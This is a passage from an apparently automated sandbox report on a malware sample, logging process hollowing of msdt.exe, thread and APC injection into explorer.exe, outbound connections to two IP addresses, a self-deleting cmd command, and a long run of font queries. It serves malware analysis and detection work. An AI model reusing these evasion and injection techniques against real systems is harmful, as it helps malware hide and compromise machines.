          Source: C:\Windows\SysWOW64\msdt.exeCode function: 14_2_0537D294 mov eax, dword ptr fs:[00000030h]
          Source: C:\Windows\SysWOW64\msdt.exeCode function: 14_2_05372AE4 mov eax, dword ptr fs:[00000030h]
          Source: C:\Windows\SysWOW64\msdt.exeCode function: 14_2_05372ACB mov eax, dword ptr fs:[00000030h]
          Source: C:\Users\user\Desktop\86dXpRWnFG.exeProcess token adjusted: Debug
          Source: C:\Users\user\Desktop\86dXpRWnFG.exeProcess token adjusted: Debug
          Source: C:\Windows\SysWOW64\msdt.exeProcess token adjusted: Debug
          Source: C:\Users\user\Desktop\86dXpRWnFG.exeMemory allocated: page read and write | page guard

          HIPS / PFW / Operating System Protection Evasion:

          barindex
          System process connects to network (likely due to code injection or exploit)Show sources
          Source: C:\Windows\explorer.exeNetwork Connect: 52.0.217.44 80
          Source: C:\Windows\explorer.exeNetwork Connect: 34.102.136.180 80
          Maps a DLL or memory area into another processShow sources
          Source: C:\Users\user\Desktop\86dXpRWnFG.exeSection loaded: unknown target: C:\Windows\explorer.exe protection: execute and read and write
          Source: C:\Users\user\Desktop\86dXpRWnFG.exeSection loaded: unknown target: C:\Windows\SysWOW64\msdt.exe protection: execute and read and write
          Source: C:\Users\user\Desktop\86dXpRWnFG.exeSection loaded: unknown target: C:\Windows\SysWOW64\msdt.exe protection: execute and read and write
          Source: C:\Windows\SysWOW64\msdt.exeSection loaded: unknown target: C:\Windows\explorer.exe protection: read write
          Source: C:\Windows\SysWOW64\msdt.exeSection loaded: unknown target: C:\Windows\explorer.exe protection: execute and read and write
          Modifies the context of a thread in another process (thread injection)Show sources
          Source: C:\Users\user\Desktop\86dXpRWnFG.exeThread register set: target process: 3424
          Source: C:\Windows\SysWOW64\msdt.exeThread register set: target process: 3424
          Queues an APC in another process (thread injection)Show sources
          Source: C:\Users\user\Desktop\86dXpRWnFG.exeThread APC queued: target process: C:\Windows\explorer.exe
          Sample uses process hollowing techniqueShow sources
          Source: C:\Users\user\Desktop\86dXpRWnFG.exeSection unmapped: C:\Windows\SysWOW64\msdt.exe base address: 1300000
          Source: C:\Users\user\Desktop\86dXpRWnFG.exeProcess created: C:\Users\user\Desktop\86dXpRWnFG.exe C:\Users\user\Desktop\86dXpRWnFG.exe
          Source: C:\Windows\SysWOW64\msdt.exeProcess created: C:\Windows\SysWOW64\cmd.exe /c del 'C:\Users\user\Desktop\86dXpRWnFG.exe'
          Source: explorer.exe, 0000000A.00000002.913447841.0000000000AD8000.00000004.00000020.sdmpBinary or memory string: ProgmanMD6
          Source: explorer.exe, 0000000A.00000000.741149952.0000000001080000.00000002.00000001.sdmp, msdt.exe, 0000000E.00000002.914669153.0000000003A80000.00000002.00000001.sdmpBinary or memory string: Program Manager
          Source: explorer.exe, 0000000A.00000000.741149952.0000000001080000.00000002.00000001.sdmp, msdt.exe, 0000000E.00000002.914669153.0000000003A80000.00000002.00000001.sdmpBinary or memory string: Shell_TrayWnd
          Source: explorer.exe, 0000000A.00000000.741149952.0000000001080000.00000002.00000001.sdmp, msdt.exe, 0000000E.00000002.914669153.0000000003A80000.00000002.00000001.sdmpBinary or memory string: Progman
          Source: explorer.exe, 0000000A.00000000.741149952.0000000001080000.00000002.00000001.sdmp, msdt.exe, 0000000E.00000002.914669153.0000000003A80000.00000002.00000001.sdmpBinary or memory string: Progmanlock
          Source: explorer.exe, 0000000A.00000000.763244737.000000000A716000.00000004.00000001.sdmpBinary or memory string: Shell_TrayWnd5D
          Source: C:\Users\user\Desktop\86dXpRWnFG.exeQueries volume information: C:\Users\user\Desktop\86dXpRWnFG.exe VolumeInformation
          Source: C:\Users\user\Desktop\86dXpRWnFG.exeQueries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Windows.Forms\v4.0_4.0.0.0__b77a5c561934e089\System.Windows.Forms.dll VolumeInformation
          Source: C:\Users\user\Desktop\86dXpRWnFG.exeQueries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Drawing\v4.0_4.0.0.0__b03f5f7f11d50a3a\System.Drawing.dll VolumeInformation
          Source: C:\Users\user\Desktop\86dXpRWnFG.exeQueries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\Accessibility\v4.0_4.0.0.0__b03f5f7f11d50a3a\Accessibility.dll VolumeInformation
          Source: C:\Users\user\Desktop\86dXpRWnFG.exeQueries volume information: C:\Windows\Fonts\arial.ttf VolumeInformation
          Source: C:\Users\user\Desktop\86dXpRWnFG.exeQueries volume information: C:\Windows\Fonts\ariali.ttf VolumeInformation
          Source: C:\Users\user\Desktop\86dXpRWnFG.exeQueries volume information: C:\Windows\Fonts\arialbd.ttf VolumeInformation
          Source: C:\Users\user\Desktop\86dXpRWnFG.exeQueries volume information: C:\Windows\Fonts\arialbi.ttf VolumeInformation
          Source: C:\Users\user\Desktop\86dXpRWnFG.exeQueries volume information: C:\Windows\Fonts\ARIALN.TTF VolumeInformation
          Source: C:\Users\user\Desktop\86dXpRWnFG.exeQueries volume information: C:\Windows\Fonts\ariblk.ttf VolumeInformation
          Source: C:\Users\user\Desktop\86dXpRWnFG.exeQueries volume information: C:\Windows\Fonts\ARIALNI.TTF VolumeInformation
          Source: C:\Users\user\Desktop\86dXpRWnFG.exeQueries volume information: C:\Windows\Fonts\ARIALNB.TTF VolumeInformation
          Source: C:\Users\user\Desktop\86dXpRWnFG.exeQueries volume information: C:\Windows\Fonts\ARIALNBI.TTF VolumeInformation
          Source: C:\Users\user\Desktop\86dXpRWnFG.exeQueries volume information: C:\Windows\Fonts\bahnschrift.ttf VolumeInformation
          Source: C:\Users\user\Desktop\86dXpRWnFG.exeQueries volume information: C:\Windows\Fonts\calibri.ttf VolumeInformation
          Source: C:\Users\user\Desktop\86dXpRWnFG.exeQueries volume information: C:\Windows\Fonts\calibril.ttf VolumeInformation
          Source: C:\Users\user\Desktop\86dXpRWnFG.exeQueries volume information: C:\Windows\Fonts\calibrii.ttf VolumeInformation
          Source: C:\Users\user\Desktop\86dXpRWnFG.exeQueries volume information: C:\Windows\Fonts\calibrili.ttf VolumeInformation
          Source: C:\Users\user\Desktop\86dXpRWnFG.exeQueries volume information: C:\Windows\Fonts\calibrib.ttf VolumeInformation
          Source: C:\Users\user\Desktop\86dXpRWnFG.exeQueries volume information: C:\Windows\Fonts\calibriz.ttf VolumeInformation
          Source: C:\Users\user\Desktop\86dXpRWnFG.exeQueries volume information: C:\Windows\Fonts\cambria.ttc VolumeInformation
          Source: C:\Users\user\Desktop\86dXpRWnFG.exeQueries volume information: C:\Windows\Fonts\cambriai.ttf VolumeInformation
          Source: C:\Users\user\Desktop\86dXpRWnFG.exeQueries volume information: C:\Windows\Fonts\cambriab.ttf VolumeInformation
          Source: C:\Users\user\Desktop\86dXpRWnFG.exeQueries volume information: C:\Windows\Fonts\cambriaz.ttf VolumeInformation
          Source: C:\Users\user\Desktop\86dXpRWnFG.exeQueries volume information: C:\Windows\Fonts\Candara.ttf VolumeInformation
          Source: C:\Users\user\Desktop\86dXpRWnFG.exeQueries volume information: C:\Windows\Fonts\Candarai.ttf VolumeInformation
          Source: C:\Users\user\Desktop\86dXpRWnFG.exeQueries volume information: C:\Windows\Fonts\Candarab.ttf VolumeInformation
          Source: C:\Users\user\Desktop\86dXpRWnFG.exeQueries volume information: C:\Windows\Fonts\Candaraz.ttf VolumeInformation
          Source: C:\Users\user\Desktop\86dXpRWnFG.exeQueries volume information: C:\Windows\Fonts\comic.ttf VolumeInformation
          Source: C:\Users\user\Desktop\86dXpRWnFG.exeQueries volume information: C:\Windows\Fonts\comici.ttf VolumeInformation
          Source: C:\Users\user\Desktop\86dXpRWnFG.exeQueries volume information: C:\Windows\Fonts\comicbd.ttf VolumeInformation
          Source: C:\Users\user\Desktop\86dXpRWnFG.exeQueries volume information: C:\Windows\Fonts\comicz.ttf VolumeInformation
          Source: C:\Users\user\Desktop\86dXpRWnFG.exeQueries volume information: C:\Windows\Fonts\consola.ttf VolumeInformation
          Source: C:\Users\user\Desktop\86dXpRWnFG.exeQueries volume information: C:\Windows\Fonts\consolai.ttf VolumeInformation
          Source: C:\Users\user\Desktop\86dXpRWnFG.exeQueries volume information: C:\Windows\Fonts\consolab.ttf VolumeInformation
          Source: C:\Users\user\Desktop\86dXpRWnFG.exeQueries volume information: C:\Windows\Fonts\consolaz.ttf VolumeInformation
          Source: C:\Users\user\Desktop\86dXpRWnFG.exeQueries volume information: C:\Windows\Fonts\constan.ttf VolumeInformation
          Source: C:\Users\user\Desktop\86dXpRWnFG.exeQueries volume information: C:\Windows\Fonts\constani.ttf VolumeInformation
          Source: C:\Users\user\Desktop\86dXpRWnFG.exeQueries volume information: C:\Windows\Fonts\constanb.ttf VolumeInformation
          Source: C:\Users\user\Desktop\86dXpRWnFG.exeQueries volume information: C:\Windows\Fonts\constanz.ttf VolumeInformation
          Source: C:\Users\user\Desktop\86dXpRWnFG.exeQueries volume information: C:\Windows\Fonts\corbel.ttf VolumeInformation
          Source: C:\Users\user\Desktop\86dXpRWnFG.exeQueries volume information: C:\Windows\Fonts\corbeli.ttf VolumeInformation
          Source: C:\Users\user\Desktop\86dXpRWnFG.exeQueries volume information: C:\Windows\Fonts\corbelb.ttf VolumeInformation
          Source: C:\Users\user\Desktop\86dXpRWnFG.exeQueries volume information: C:\Windows\Fonts\corbelz.ttf VolumeInformation
          Source: C:\Users\user\Desktop\86dXpRWnFG.exeQueries volume information: C:\Windows\Fonts\cour.ttf VolumeInformation
          Source: C:\Users\user\Desktop\86dXpRWnFG.exeQueries volume information: C:\Windows\Fonts\couri.ttf VolumeInformation
          Source: C:\Users\user\Desktop\86dXpRWnFG.exeQueries volume information: C:\Windows\Fonts\courbd.ttf VolumeInformation
          Source: C:\Users\user\Desktop\86dXpRWnFG.exeQueries volume information: C:\Windows\Fonts\courbi.ttf VolumeInformation
          Source: C:\Users\user\Desktop\86dXpRWnFG.exeQueries volume information: C:\Windows\Fonts\ebrima.ttf VolumeInformation
          Source: C:\Users\user\Desktop\86dXpRWnFG.exeQueries volume information: C:\Windows\Fonts\ebrimabd.ttf VolumeInformation
          Source: C:\Users\user\Desktop\86dXpRWnFG.exeQueries volume information: C:\Windows\Fonts\framd.ttf VolumeInformation
          Source: C:\Users\user\Desktop\86dXpRWnFG.exeQueries volume information: C:\Windows\Fonts\FRADM.TTF VolumeInformation
          Source: C:\Users\user\Desktop\86dXpRWnFG.exeQueries volume information: C:\Windows\Fonts\framdit.ttf VolumeInformation
          Source: C:\Users\user\Desktop\86dXpRWnFG.exeQueries volume information: C:\Windows\Fonts\FRADMIT.TTF VolumeInformation
          Source: C:\Users\user\Desktop\86dXpRWnFG.exeQueries volume information: C:\Windows\Fonts\FRAMDCN.TTF VolumeInformation
          Source: C:\Users\user\Desktop\86dXpRWnFG.exeQueries volume information: C:\Windows\Fonts\FRADMCN.TTF VolumeInformation
          Source: C:\Users\user\Desktop\86dXpRWnFG.exeQueries volume information: C:\Windows\Fonts\FRAHV.TTF VolumeInformation
          Source: C:\Users\user\Desktop\86dXpRWnFG.exeQueries volume information: C:\Windows\Fonts\FRAHVIT.TTF VolumeInformation
          Source: C:\Users\user\Desktop\86dXpRWnFG.exeQueries volume information: C:\Windows\Fonts\Gabriola.ttf VolumeInformation
          Source: C:\Users\user\Desktop\86dXpRWnFG.exeQueries volume information: C:\Windows\Fonts\gadugi.ttf VolumeInformation
          Source: C:\Users\user\Desktop\86dXpRWnFG.exeQueries volume information: C:\Windows\Fonts\gadugib.ttf VolumeInformation
          Source: C:\Users\user\Desktop\86dXpRWnFG.exeQueries volume information: C:\Windows\Fonts\georgia.ttf VolumeInformation
          Source: C:\Users\user\Desktop\86dXpRWnFG.exeQueries volume information: C:\Windows\Fonts\georgiai.ttf VolumeInformation
          Source: C:\Users\user\Desktop\86dXpRWnFG.exeQueries volume information: C:\Windows\Fonts\georgiab.ttf VolumeInformation
          Source: C:\Users\user\Desktop\86dXpRWnFG.exeQueries volume information: C:\Windows\Fonts\georgiaz.ttf VolumeInformation
          Source: C:\Users\user\Desktop\86dXpRWnFG.exeQueries volume information: C:\Windows\Fonts\impact.ttf VolumeInformation
          Source: C:\Users\user\Desktop\86dXpRWnFG.exeQueries volume information: C:\Windows\Fonts\Inkfree.ttf VolumeInformation
          Source: C:\Users\user\Desktop\86dXpRWnFG.exeQueries volume information: C:\Windows\Fonts\javatext.ttf VolumeInformation
          Source: C:\Users\user\Desktop\86dXpRWnFG.exeQueries volume information: C:\Windows\Fonts\LeelawUI.ttf VolumeInformation
          Source: C:\Users\user\Desktop\86dXpRWnFG.exeQueries volume information: C:\Windows\Fonts\LeelUIsl.ttf VolumeInformation
          Source: C:\Users\user\Desktop\86dXpRWnFG.exeQueries volume information: C:\Windows\Fonts\LeelaUIb.ttf VolumeInformation
          Source: C:\Users\user\Desktop\86dXpRWnFG.exeQueries volume information: C:\Windows\Fonts\lucon.ttf VolumeInformation
          Source: C:\Users\user\Desktop\86dXpRWnFG.exeQueries volume information: C:\Windows\Fonts\l_10646.ttf VolumeInformation
          Source: C:\Users\user\Desktop\86dXpRWnFG.exeQueries volume information: C:\Windows\Fonts\malgun.ttf VolumeInformation
          Source: C:\Users\user\Desktop\86dXpRWnFG.exeQueries volume information: C:\Windows\Fonts\malgunsl.ttf VolumeInformation
          Source: C:\Users\user\Desktop\86dXpRWnFG.exeQueries volume information: C:\Windows\Fonts\malgunbd.ttf VolumeInformation
          Source: C:\Users\user\Desktop\86dXpRWnFG.exeQueries volume information: C:\Windows\Fonts\himalaya.ttf VolumeInformation
          Source: C:\Users\user\Desktop\86dXpRWnFG.exeQueries volume information: C:\Windows\Fonts\msjh.ttc VolumeInformation
          Source: C:\Users\user\Desktop\86dXpRWnFG.exeQueries volume information: C:\Windows\Fonts\msjhl.ttc VolumeInformation
          Source: C:\Users\user\Desktop\86dXpRWnFG.exeQueries volume information: C:\Windows\Fonts\msjhbd.ttc VolumeInformation
          Source: C:\Users\user\Desktop\86dXpRWnFG.exeQueries volume information: C:\Windows\Fonts\ntailu.ttf VolumeInformation
          Source: C:\Users\user\Desktop\86dXpRWnFG.exeQueries volume information: C:\Windows\Fonts\ntailub.ttf VolumeInformation
          Source: C:\Users\user\Desktop\86dXpRWnFG.exeQueries volume information: C:\Windows\Fonts\phagspa.ttf VolumeInformation
          Source: C:\Users\user\Desktop\86dXpRWnFG.exeQueries volume information: C:\Windows\Fonts\phagspab.ttf VolumeInformation
          Source: C:\Users\user\Desktop\86dXpRWnFG.exeQueries volume information: C:\Windows\Fonts\micross.ttf VolumeInformation
          Source: C:\Users\user\Desktop\86dXpRWnFG.exeQueries volume information: C:\Windows\Fonts\taile.ttf VolumeInformation
          Source: C:\Users\user\Desktop\86dXpRWnFG.exeQueries volume information: C:\Windows\Fonts\taileb.ttf VolumeInformation
          Source: C:\Users\user\Desktop\86dXpRWnFG.exeQueries volume information: C:\Windows\Fonts\msyh.ttc VolumeInformation
          Source: C:\Users\user\Desktop\86dXpRWnFG.exeQueries volume information: C:\Windows\Fonts\msyhl.ttc VolumeInformation
          Source: C:\Users\user\Desktop\86dXpRWnFG.exeQueries volume information: C:\Windows\Fonts\msyhbd.ttc VolumeInformation
          Source: C:\Users\user\Desktop\86dXpRWnFG.exeQueries volume information: C:\Windows\Fonts\msyi.ttf VolumeInformation
          Source: C:\Users\user\Desktop\86dXpRWnFG.exeQueries volume information: C:\Windows\Fonts\mingliub.ttc VolumeInformation
          Source: C:\Users\user\Desktop\86dXpRWnFG.exeQueries volume information: C:\Windows\Fonts\monbaiti.ttf VolumeInformation
          Source: C:\Users\user\Desktop\86dXpRWnFG.exeQueries volume information: C:\Windows\Fonts\msgothic.ttc VolumeInformation
          Source: C:\Users\user\Desktop\86dXpRWnFG.exeQueries volume information: C:\Windows\Fonts\mvboli.ttf VolumeInformation
          Source: C:\Users\user\Desktop\86dXpRWnFG.exeQueries volume information: C:\Windows\Fonts\mmrtext.ttf VolumeInformation
          Source: C:\Users\user\Desktop\86dXpRWnFG.exeQueries volume information: C:\Windows\Fonts\mmrtextb.ttf VolumeInformation
          Source: C:\Users\user\Desktop\86dXpRWnFG.exeQueries volume information: C:\Windows\Fonts\Nirmala.ttf VolumeInformation
          Source: C:\Users\user\Desktop\86dXpRWnFG.exeQueries volume information: C:\Windows\Fonts\NirmalaS.ttf VolumeInformation
          Source: C:\Users\user\Desktop\86dXpRWnFG.exeQueries volume information: C:\Windows\Fonts\NirmalaB.ttf VolumeInformation
          Source: C:\Users\user\Desktop\86dXpRWnFG.exeQueries volume information: C:\Windows\Fonts\pala.ttf VolumeInformation
          Source: C:\Users\user\Desktop\86dXpRWnFG.exeQueries volume information: C:\Windows\Fonts\palai.ttf VolumeInformation
          Source: C:\Users\user\Desktop\86dXpRWnFG.exeQueries volume information: C:\Windows\Fonts\palab.ttf VolumeInformation
          Source: C:\Users\user\Desktop\86dXpRWnFG.exeQueries volume information: C:\Windows\Fonts\palabi.ttf VolumeInformation
          Source: C:\Users\user\Desktop\86dXpRWnFG.exeQueries volume information: C:\Windows\Fonts\segoepr.ttf VolumeInformation
          Source: C:\Users\user\Desktop\86dXpRWnFG.exeQueries volume information: C:\Windows\Fonts\segoeprb.ttf VolumeInformation
          Source: C:\Users\user\Desktop\86dXpRWnFG.exeQueries volume information: C:\Windows\Fonts\segoesc.ttf VolumeInformation
          Source: C:\Users\user\Desktop\86dXpRWnFG.exeQueries volume information: C:\Windows\Fonts\segoescb.ttf VolumeInformation
          Source: C:\Users\user\Desktop\86dXpRWnFG.exeQueries volume information: C:\Windows\Fonts\seguiemj.ttf VolumeInformation
          Source: C:\Users\user\Desktop\86dXpRWnFG.exeQueries volume information: C:\Windows\Fonts\seguihis.ttf VolumeInformation
          Source: C:\Users\user\Desktop\86dXpRWnFG.exeQueries volume information: C:\Windows\Fonts\seguisym.ttf VolumeInformation
          Source: C:\Users\user\Desktop\86dXpRWnFG.exeQueries volume information: C:\Windows\Fonts\simsun.ttc VolumeInformation
          Source: C:\Users\user\Desktop\86dXpRWnFG.exeQueries volume information: C:\Windows\Fonts\simsunb.ttf VolumeInformation
          Source: C:\Users\user\Desktop\86dXpRWnFG.exeQueries volume information: C:\Windows\Fonts\Sitka.ttc VolumeInformation
          Source: C:\Users\user\Desktop\86dXpRWnFG.exeQueries volume information: C:\Windows\Fonts\SitkaI.ttc VolumeInformation
          Source: C:\Users\user\Desktop\86dXpRWnFG.exeQueries volume information: C:\Windows\Fonts\SitkaB.ttc VolumeInformation
          Source: C:\Users\user\Desktop\86dXpRWnFG.exeQueries volume information: C:\Windows\Fonts\SitkaZ.ttc VolumeInformation
          Source: C:\Users\user\Desktop\86dXpRWnFG.exeQueries volume information: C:\Windows\Fonts\sylfaen.ttf VolumeInformation
          Source: C:\Users\user\Desktop\86dXpRWnFG.exeQueries volume information: C:\Windows\Fonts\symbol.ttf VolumeInformation
          Source: C:\Users\user\Desktop\86dXpRWnFG.exeQueries volume information: C:\Windows\Fonts\tahoma.ttf VolumeInformation
          Source: C:\Users\user\Desktop\86dXpRWnFG.exeQueries volume information: C:\Windows\Fonts\tahomabd.ttf VolumeInformation
          Source: C:\Users\user\Desktop\86dXpRWnFG.exeQueries volume information: C:\Windows\Fonts\trebuc.ttf VolumeInformation
          Source: C:\Users\user\Desktop\86dXpRWnFG.exeQueries volume information: C:\Windows\Fonts\trebucit.ttf VolumeInformation
          Source: C:\Users\user\Desktop\86dXpRWnFG.exeQueries volume information: C:\Windows\Fonts\trebucbd.ttf VolumeInformation
          Source: C:\Users\user\Desktop\86dXpRWnFG.exeQueries volume information: C:\Windows\Fonts\trebucbi.ttf VolumeInformation
          Source: C:\Users\user\Desktop\86dXpRWnFG.exeQueries volume information: C:\Windows\Fonts\verdana.ttf VolumeInformation
          Source: C:\Users\user\Desktop\86dXpRWnFG.exeQueries volume information: C:\Windows\Fonts\verdanai.ttf VolumeInformation
          Source: C:\Users\user\Desktop\86dXpRWnFG.exeQueries volume information: C:\Windows\Fonts\verdanab.ttf VolumeInformation
          Source: C:\Users\user\Desktop\86dXpRWnFG.exeQueries volume information: C:\Windows\Fonts\verdanaz.ttf VolumeInformation
          Source: C:\Users\user\Desktop\86dXpRWnFG.exeQueries volume information: C:\Windows\Fonts\webdings.ttf VolumeInformation
          Source: C:\Users\user\Desktop\86dXpRWnFG.exeQueries volume information: C:\Windows\Fonts\wingding.ttf VolumeInformation
          Source: C:\Users\user\Desktop\86dXpRWnFG.exeQueries volume information: C:\Windows\Fonts\YuGothR.ttc VolumeInformation
          Source: C:\Users\user\Desktop\86dXpRWnFG.exeQueries volume information: C:\Windows\Fonts\YuGothM.ttc VolumeInformation
          Source: C:\Users\user\Desktop\86dXpRWnFG.exeQueries volume information: C:\Windows\Fonts\YuGothL.ttc VolumeInformation
          Source: C:\Users\user\Desktop\86dXpRWnFG.exeQueries volume information: C:\Windows\Fonts\YuGothB.ttc VolumeInformation
          Source: C:\Users\user\Desktop\86dXpRWnFG.exeQueries volume information: C:\Windows\Fonts\holomdl2.ttf VolumeInformation
          Source: C:\Users\user\Desktop\86dXpRWnFG.exeQueries volume information: C:\Windows\Fonts\CENTURY.TTF VolumeInformation
          Source: C:\Users\user\Desktop\86dXpRWnFG.exeQueries volume information: C:\Windows\Fonts\LEELAWAD.TTF VolumeInformation
          Source: C:\Users\user\Desktop\86dXpRWnFG.exeQueries volume information: C:\Windows\Fonts\LEELAWDB.TTF VolumeInformation
          Source: C:\Users\user\Desktop\86dXpRWnFG.exeQueries volume information: C:\Windows\Fonts\MSUIGHUR.TTF VolumeInformation
          Source: C:\Users\user\Desktop\86dXpRWnFG.exeQueries volume information: C:\Windows\Fonts\MSUIGHUB.TTF VolumeInformation
          Source: C:\Users\user\Desktop\86dXpRWnFG.exeQueries volume information: C:\Windows\Fonts\WINGDNG2.TTF VolumeInformation
          Source: C:\Users\user\Desktop\86dXpRWnFG.exeQueries volume information: C:\Windows\Fonts\WINGDNG3.TTF VolumeInformation
          Source: C:\Users\user\Desktop\86dXpRWnFG.exeQueries volume information: C:\Windows\Fonts\TEMPSITC.TTF VolumeInformation
          Source: C:\Users\user\Desktop\86dXpRWnFG.exeQueries volume information: C:\Windows\Fonts\PRISTINA.TTF VolumeInformation
          Source: C:\Users\user\Desktop\86dXpRWnFG.exeQueries volume information: C:\Windows\Fonts\PAPYRUS.TTF VolumeInformation
          Source: C:\Users\user\Desktop\86dXpRWnFG.exeQueries volume information: C:\Windows\Fonts\MISTRAL.TTF VolumeInformation
          Source: C:\Users\user\Desktop\86dXpRWnFG.exeQueries volume information: C:\Windows\Fonts\LHANDW.TTF VolumeInformation
          Source: C:\Users\user\Desktop\86dXpRWnFG.exeQueries volume information: C:\Windows\Fonts\ITCKRIST.TTF VolumeInformation
          Source: C:\Users\user\Desktop\86dXpRWnFG.exeQueries volume information: C:\Windows\Fonts\JUICE___.TTF VolumeInformation
          Source: C:\Users\user\Desktop\86dXpRWnFG.exeQueries volume information: C:\Windows\Fonts\FRSCRIPT.TTF VolumeInformation
          Source: C:\Users\user\Desktop\86dXpRWnFG.exeQueries volume information: C:\Windows\Fonts\FREESCPT.TTF VolumeInformation
          Source: C:\Users\user\Desktop\86dXpRWnFG.exeQueries volume information: C:\Windows\Fonts\BRADHITC.TTF VolumeInformation
          Source: C:\Users\user\Desktop\86dXpRWnFG.exeQueries volume information: C:\Windows\Fonts\OUTLOOK.TTF VolumeInformation
          Source: C:\Users\user\Desktop\86dXpRWnFG.exeQueries volume information: C:\Windows\Fonts\BKANT.TTF VolumeInformation
          Source: C:\Users\user\Desktop\86dXpRWnFG.exeQueries volume information: C:\Windows\Fonts\ANTQUAI.TTF VolumeInformation
          Source: C:\Users\user\Desktop\86dXpRWnFG.exeQueries volume information: C:\Windows\Fonts\ANTQUAB.TTF VolumeInformation
          Source: C:\Users\user\Desktop\86dXpRWnFG.exeQueries volume information: C:\Windows\Fonts\ANTQUABI.TTF VolumeInformation
          Source: C:\Users\user\Desktop\86dXpRWnFG.exeQueries volume information: C:\Windows\Fonts\GARA.TTF VolumeInformation
          Source: C:\Users\user\Desktop\86dXpRWnFG.exeQueries volume information: C:\Windows\Fonts\GARAIT.TTF VolumeInformation
          Source: C:\Users\user\Desktop\86dXpRWnFG.exeQueries volume information: C:\Windows\Fonts\GARABD.TTF VolumeInformation
          Source: C:\Users\user\Desktop\86dXpRWnFG.exeQueries volume information: C:\Windows\Fonts\MTCORSVA.TTF VolumeInformation
          Source: C:\Users\user\Desktop\86dXpRWnFG.exeQueries volume information: C:\Windows\Fonts\GOTHIC.TTF VolumeInformation
          Source: C:\Users\user\Desktop\86dXpRWnFG.exeQueries volume information: C:\Windows\Fonts\GOTHICI.TTF VolumeInformation
          Source: C:\Users\user\Desktop\86dXpRWnFG.exeQueries volume information: C:\Windows\Fonts\GOTHICB.TTF VolumeInformation
          Source: C:\Users\user\Desktop\86dXpRWnFG.exeQueries volume information: C:\Windows\Fonts\GOTHICBI.TTF VolumeInformation
          Source: C:\Users\user\Desktop\86dXpRWnFG.exeQueries volume information: C:\Windows\Fonts\ALGER.TTF VolumeInformation
          Source: C:\Users\user\Desktop\86dXpRWnFG.exeQueries volume information: C:\Windows\Fonts\BASKVILL.TTF VolumeInformation
          Source: C:\Users\user\Desktop\86dXpRWnFG.exeQueries volume information: C:\Windows\Fonts\BAUHS93.TTF VolumeInformation
          Source: C:\Users\user\Desktop\86dXpRWnFG.exeQueries volume information: C:\Windows\Fonts\BELL.TTF VolumeInformation
          Source: C:\Users\user\Desktop\86dXpRWnFG.exeQueries volume information: C:\Windows\Fonts\BELLI.TTF VolumeInformation
          Source: C:\Users\user\Desktop\86dXpRWnFG.exeQueries volume information: C:\Windows\Fonts\BELLB.TTF VolumeInformation
          Source: C:\Users\user\Desktop\86dXpRWnFG.exeQueries volume information: C:\Windows\Fonts\BRLNSR.TTF VolumeInformation
          Source: C:\Users\user\Desktop\86dXpRWnFG.exeQueries volume information: C:\Windows\Fonts\BRLNSDB.TTF VolumeInformation
          Source: C:\Users\user\Desktop\86dXpRWnFG.exeQueries volume information: C:\Windows\Fonts\BRLNSB.TTF VolumeInformation
          Source: C:\Users\user\Desktop\86dXpRWnFG.exeQueries volume information: C:\Windows\Fonts\BERNHC.TTF VolumeInformation
          Source: C:\Users\user\Desktop\86dXpRWnFG.exeQueries volume information: C:\Windows\Fonts\BOD_PSTC.TTF VolumeInformation
          Source: C:\Users\user\Desktop\86dXpRWnFG.exeQueries volume information: C:\Windows\Fonts\BRITANIC.TTF VolumeInformation
          Source: C:\Users\user\Desktop\86dXpRWnFG.exeQueries volume information: C:\Windows\Fonts\BROADW.TTF VolumeInformation
          Source: C:\Users\user\Desktop\86dXpRWnFG.exeQueries volume information: C:\Windows\Fonts\BRUSHSCI.TTF VolumeInformation
          Source: C:\Users\user\Desktop\86dXpRWnFG.exeQueries volume information: C:\Windows\Fonts\CALIFR.TTF VolumeInformation
          Source: C:\Users\user\Desktop\86dXpRWnFG.exeQueries volume information: C:\Windows\Fonts\CALIFI.TTF VolumeInformation
          Source: C:\Users\user\Desktop\86dXpRWnFG.exeQueries volume information: C:\Windows\Fonts\CALIFB.TTF VolumeInformation
          Source: C:\Users\user\Desktop\86dXpRWnFG.exeQueries volume information: C:\Windows\Fonts\CENTAUR.TTF VolumeInformation
          Source: C:\Users\user\Desktop\86dXpRWnFG.exeQueries volume information: C:\Windows\Fonts\CHILLER.TTF VolumeInformation
          Source: C:\Users\user\Desktop\86dXpRWnFG.exeQueries volume information: C:\Windows\Fonts\COLONNA.TTF VolumeInformation
          Source: C:\Users\user\Desktop\86dXpRWnFG.exeQueries volume information: C:\Windows\Fonts\COOPBL.TTF VolumeInformation
          Source: C:\Users\user\Desktop\86dXpRWnFG.exeQueries volume information: C:\Windows\Fonts\FTLTLT.TTF VolumeInformation
          Source: C:\Users\user\Desktop\86dXpRWnFG.exeQueries volume information: C:\Windows\Fonts\HARLOWSI.TTF VolumeInformation
          Source: C:\Users\user\Desktop\86dXpRWnFG.exeQueries volume information: C:\Windows\Fonts\HARNGTON.TTF VolumeInformation
          Source: C:\Users\user\Desktop\86dXpRWnFG.exeQueries volume information: C:\Windows\Fonts\HTOWERT.TTF VolumeInformation
          Source: C:\Users\user\Desktop\86dXpRWnFG.exeQueries volume information: C:\Windows\Fonts\HTOWERTI.TTF VolumeInformation
          Source: C:\Users\user\Desktop\86dXpRWnFG.exeQueries volume information: C:\Windows\Fonts\JOKERMAN.TTF VolumeInformation
          Source: C:\Users\user\Desktop\86dXpRWnFG.exeQueries volume information: C:\Windows\Fonts\KUNSTLER.TTF VolumeInformation
          Source: C:\Users\user\Desktop\86dXpRWnFG.exeQueries volume information: C:\Windows\Fonts\LBRITE.TTF VolumeInformation
          Source: C:\Users\user\Desktop\86dXpRWnFG.exeQueries volume information: C:\Windows\Fonts\LBRITED.TTF VolumeInformation
          Source: C:\Users\user\Desktop\86dXpRWnFG.exeQueries volume information: C:\Windows\Fonts\LBRITEI.TTF VolumeInformation
          Source: C:\Users\user\Desktop\86dXpRWnFG.exeQueries volume information: C:\Windows\Fonts\LBRITEDI.TTF VolumeInformation
          Source: C:\Users\user\Desktop\86dXpRWnFG.exeQueries volume information: C:\Windows\Fonts\LCALLIG.TTF VolumeInformation
          Source: C:\Users\user\Desktop\86dXpRWnFG.exeQueries volume information: C:\Windows\Fonts\LFAX.TTF VolumeInformation
          Source: C:\Users\user\Desktop\86dXpRWnFG.exeQueries volume information: C:\Windows\Fonts\LFAXD.TTF VolumeInformation
          Source: C:\Users\user\Desktop\86dXpRWnFG.exeQueries volume information: C:\Windows\Fonts\LFAXI.TTF VolumeInformation
